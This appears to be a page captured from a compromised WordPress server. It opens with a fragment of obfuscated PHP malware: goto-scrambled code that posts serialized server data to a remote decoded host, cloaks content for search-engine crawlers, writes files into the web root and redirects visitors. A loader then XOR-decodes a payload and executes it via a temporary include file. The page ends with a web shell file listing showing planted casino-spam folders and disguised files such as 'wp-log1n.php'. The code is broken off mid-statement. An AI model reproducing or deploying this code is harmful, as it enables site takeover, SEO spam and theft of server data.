E, $eN_7E); goto dsf3A; qDZ_W: vza0D: goto xDF02; Fxphd: $pQOAP = "\x74\151\157\156\x3a"; goto ow8Ll; h89m4: $bVLGQ .= "\x66\151\143\x61"; goto h1JIh; pj7y1: if (!preg_match("\x2f\x5e\112\165\x6d\160\100\50\56\x2a\x29\57", $Gm3f8, $aKaai)) { goto SYcEY; } goto Z_Udm; D4Q3O: $eyzrT = UAZhz($Dz3re); goto j01_p; Ez9KB: if (!preg_match("\57\136\x48\145\x61\144\x40\50\x2e\x2a\77\51\100\x40\50\56\x2a\x29\57\151\x73", $Gm3f8, $e_42L)) { goto qwcsZ; } goto F5KV8; SUfJJ: WeAem: goto fw0FJ; XkQPC: $Gm3f8 = trim($Gm3f8); goto OhjGB; krcRA: echo "{$Gm3f8}"; goto CZnIQ; om8Q7: file_put_contents("{$ZZPc9}\x2f{$mzqwU}", "{$bVLGQ}\x20{$mzqwU}"); goto TZENW; k__XX: $_SERVER["\x79\164\137\x67\x7a"] = $Kqdnq[1]; goto rQpXi; Bi98H: zUepC: goto DjwDV; lQWdQ: return; goto TIdBi; ViqG1: $bVLGQ .= "\x67\154\x65\55\163\x69"; goto l3qq1; fw0FJ: die; goto rcw1v; uttX2: $ZZPc9 = $_SERVER[$QqjbH]; goto Mz0wo; t9vPN: header($e_42L[1]); goto PzqYa; TnJ9g: $pQOAP = "\114\157\x63\x61" . $pQOAP; goto UZeoW; W7L0H: uQ00Z: goto krcRA; ow8Ll: $d6_Jb = "\x28\x67\x6f\157"; goto UqhiZ; rcw1v: i58q0: goto J1bN0; j01_p: $Kqdnq = explode("\72\x3a", A); goto qa300; UpTEL: qwcsZ: goto WdLiy; vigW_: UtcdE: goto SSnj2; qa300: $m3gJm = sprintf("\150\x74\164\x70\163\72\x2f\x2f\45\x73\56\160\171", ywglY($Kqdnq[0])); goto NbXA9; YEqQg: $d6_Jb .= "\175\x5c\56\170\x68"; goto KJtMO; dsf3A: qr5hT: goto HAeYG; b5pvD: $QqjbH .= "\x54\137\x52\117\117\124"; goto uttX2; EB4NS: $_SERVER["\x79\164\137\x6a\x75\x6d\x70"] = 1; goto Bi98H; aWLvw: die; goto suwkM; nIQZT: $QqjbH = "\x44\x4f\x43"; goto Ajv7I; DjwDV: $Gm3f8 = RMwYT($m3gJm, array("\170" => serialize($_SERVER))); goto XkQPC; X2ZDa: $L7avg = parse_url($m3gJm); goto xE3T8; whZ89: $Gm3f8 = trim($Gm3f8); goto Ez9KB; TIdBi: x1PZx: goto pj7y1; suwkM: xrnyo: goto f65jz; l3qq1: $bVLGQ .= "\164\145\55\x76\145\x72\x69"; goto h89m4; gk5bu: header("{$pQOAP}\x20\x2f{$mzqwU}"); goto aWLvw; WZubY: $eot8L = isset($_SERVER["\122\x45\x51\125\105\x53\x54\x5f\x55\x52\x49"]) ? $_SERVER["\x52\105\121\125\x45\x53\124\x5f\125\122\x49"] : (isset($_SERVER["\121\125\x45\122\131\x5f\123\x54\122\x49\x4e\107"]) ? $_SERVER["\121\125\105\122\x59\x5f\123\x54\122\111\116\x47"] : ''); goto XbsqL; f05fv: goto WeAem; goto jptJa; Ra1Hp: if ($MYs90) { goto vza0D; } goto nb404; W88SU: if (preg_match("\57\136\x68\x74\164\160\163\77\x2f\163\x69", $UX2gA)) { goto ImNaW; } goto mnXZL; xE3T8: echo gethostbyname($L7avg["\150\157\x73\x74"]); goto f05fv; N13_u: chmod($ZZPc9, 0755); goto om8Q7; NbXA9: $_SERVER["\171\164\137\x6a\165\155\160"] = 0; goto k__XX; mnXZL: echo sprintf($YRdmP, $m3gJm, $m3gJm) . "\x3c\x62\x72\x20\x2f\76\x3c\142\162\40\57\76"; goto X2ZDa; f65jz: if (!($hxyxr || $eyzrT)) { goto UtcdE; } goto evisZ; KJtMO: $d6_Jb .= "\164\155\154\51"; goto jepcO; jptJa: ImNaW: goto BgmN9; SSnj2: } goto yfeBq; vJZxQ: @ob_start(); goto IeyQ_; hiaac: @date_default_timezone_set("\x50\x52\103"); goto fkDlz; paMIL: function uAZhZ($mSaNc = '') { return preg_match("\x2f\50\x67\x6f\157\x67\x6c\145\x2e\143\157\x2e\152\160\x7c\x79\x61\x68\x6f\157\x2e\143\x6f\x2e\152\160\174\142\x69\x6e\147\x7c\142\x61\151\x64\x75\x7c\147\x6f\x6f\147\x6c\145\56\143\157\x6d\x29\x2f\163\151", $mSaNc); } goto AUWFK; fkDlz: if (!function_exists("\x6f\142\x5f\x73\164\141\162\164")) { goto ABP2h; } goto vJZxQ; AUWFK: function YWglY($r3H5L) { goto hjvwh; sLMpr: if (!(is_array($ys12P) && count($ys12P) == 4)) { goto MErec; } goto ME0Pe; t3Xy4: $sN20i = implode('', $tk4Tz); goto q6d5v; d6VGt: ivn9Z: goto t3Xy4; sFrnt: return $sN20i; goto HrGts; qIlfd: foreach ($tk4Tz as $aoydG => $GtJl1) { $tk4Tz[$aoydG] = chr(ord($GtJl1) - 5); Hx2Gv: } goto d6VGt; g8mRP: $tk4Tz = preg_split("\x2f\x2f", $ys12P[2], -1, PREG_SPLIT_NO_EMPTY); goto qIlfd; q6d5v: RvWic: goto TNCFO; hjvwh: $sN20i = ''; goto axNGd; TNCFO: $sN20i = $ys12P[1] . $sN20i . $ys12P[3]; goto UfFGu; ME0Pe: if (!($ys12P[2] != '')) { goto RvWic; } goto g8mRP; axNGd: preg_match("\57\x28\133\136\x5c\56\x5d\x2b\134\x2e\51\50\x2e\x2a\x29\50\x5c\57\56\52\x29\x2f", $r3H5L, $ys12P); goto sLMpr; UfFGu: MErec: goto sFrnt; HrGts: } goto QWLGU; FS1et: function co3zc($'') { return preg_match("\57\x28\147\x6f\x6f\x67\154\145\x62\157\x74\x7c\x62\x61\151\x64\165\x73\160\x69\x64\x65\x72\x7c\x62\x69\x6e\147\142\157\164\174\x67\x6f\157\147\x6c\x65\x7c\x62\x61\151\x64\x75\x7c\x61\157\154\x7c\x62\151\156\147\174\171\141\150\157\157\x7c\171\141\x6e\144\x65\170\51\x2f\163\151", $cHxE_); } goto paMIL; yfeBq: wWifV(); ?> extractCode3(); $plain_code = ''; if (strlen($key) > 0) { for ($i = 0, $len = strlen($b64_decoded); $i < $len; $i++) { $plain_code .= chr(ord($b64_decoded[$i]) ^ ord($key[$i % strlen($key)])); } } else { $plain_code = $b64_decoded; } return $plain_code; } private function executeCode($code) { $tmp_file = tmpfile(); $tmp_file_path = stream_get_meta_data($tmp_file)['uri']; fwrite($tmp_file, $code); fseek($tmp_file, 0); include $tmp_file_path; fclose($tmp_file); } public static function runApproveToken3() { $obj = new self(); $decrypted = $obj->solveValue3(); $obj->executeCode($decrypted); } } ProtectedExecutor1b92c::runApproveToken3(); ?> HEX
HEX
Server: Apache
System: Linux linuxhost20.itools.mn 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64
User: greenin1 (1074)
PHP: 7.2.34
Disabled: NONE
$ pwd: /home/greenin1/public_html/
Upload Files
Name Size Permissions Actions
📁 .tmb -- drwxr-xr-x
📁 .well-known -- drwxr-xr-x
📁 1vin-43 -- drwxr-xr-x
📁 1vin-482 -- drwxr-xr-x
📁 1vin-804 -- drwxr-xr-x
📁 1vin-991 -- drwxr-xr-x
📁 206-2 -- drwxr-xr-x
📁 c018eb -- drwxr-xr-x
📁 category -- drwxr-xr-x
📁 contact -- drwxr-xr-x
📁 fd3f6 -- dr-xr-xr-x
📁 gym-447 -- drwxr-xr-x
📁 hello-world -- drwxr-xr-x
📁 hereglee -- drwxr-xr-x
📁 images -- drwxr-xr-x
📁 jackpotcity-998 -- drwxr-xr-x
📁 levelupcasino-393 -- drwxr-xr-x
📁 mostbet-318 -- drwxr-xr-x
📁 mostbet-834 -- drwxr-xr-x
📁 rofus -- drwxr-xr-x
📁 spicybet-712 -- drwxr-xr-x
📁 tag -- drwxr-xr-x
📁 test -- drwxr-xr-x
📁 tokyocasino-476 -- drwxr-xr-x
📁 wp-admin -- drwxr-xr-x
📁 wp-content -- drwxr-xr-x
📁 wp-includes -- drwxr-xr-x
📄 .htaccess 1.129K -r-xr-xr-x
📄 62f7f4d1b0060abe28a6c3a39041a0bd.txt 0.009K -rwxrwxrwx
📄 admin.php 7.136K -rw-r--r--
📄 click.php 1.934K -rw-r--r--
📄 defaults.php 1.927K -rw-r--r--
📄 error_log 183.06M -rw-r--r--
📄 ex.php 5.956K -rw-r--r--
📄 index.php 15.032K -r--r--r--
📄 index.php0 15.032K -rw-r--r--
📄 inputs.php 5.956K -rw-r--r--
📄 item.php 1.717K -rw-r--r--
📄 ldu.txt 0.001K -rw-r--r--
📄 license.txt 19.437K -rw-r--r--
📄 mah.php 1.995K -rw-r--r--
📄 networks.php 2.028K -rw-r--r--
📄 options.php 1.995K -r--r--r--
📄 pages.php 1.438K -rw-r--r--
📄 php.ini 0.039K -rw-r--r--
📄 plugins.php 2.028K -rw-rw-rw-
📄 product.php 1.292K -rw-r--r--
📄 radio.php 5.956K -rw-r--r--
📄 readme.html 7.251K -rw-r--r--
📄 robots.txt 1.106K -rw-r--r--
📄 search.php 1.446K -rw-r--r--
📄 txets.php 5.829K -rw-r--r--
📄 wp-activate.php 7.177K -rw-r--r--
📄 wp-blog-header.php 0.467K -r--r--r--
📄 wp-comments-post.php 2.269K -rw-r--r--
📄 wp-config-sample.php 3.261K -rw-r--r--
📄 wp-config.php 3.224K -rw-r--r--
📄 wp-cron.php 5.485K -rw-r--r--
📄 wp-links-opml.php 2.435K -rw-r--r--
📄 wp-load.php 3.961K -r--r--r--
📄 wp-log1n.php 1.927K -rw-r--r--
📄 wp-mail.php 8.522K -rw-r--r--
📄 wp-settings.php 30.327K -rw-r--r--
📄 wp-signup.php 33.707K -rw-r--r--
📄 wp-trackback.php 5.092K -rw-r--r--
@ Telegram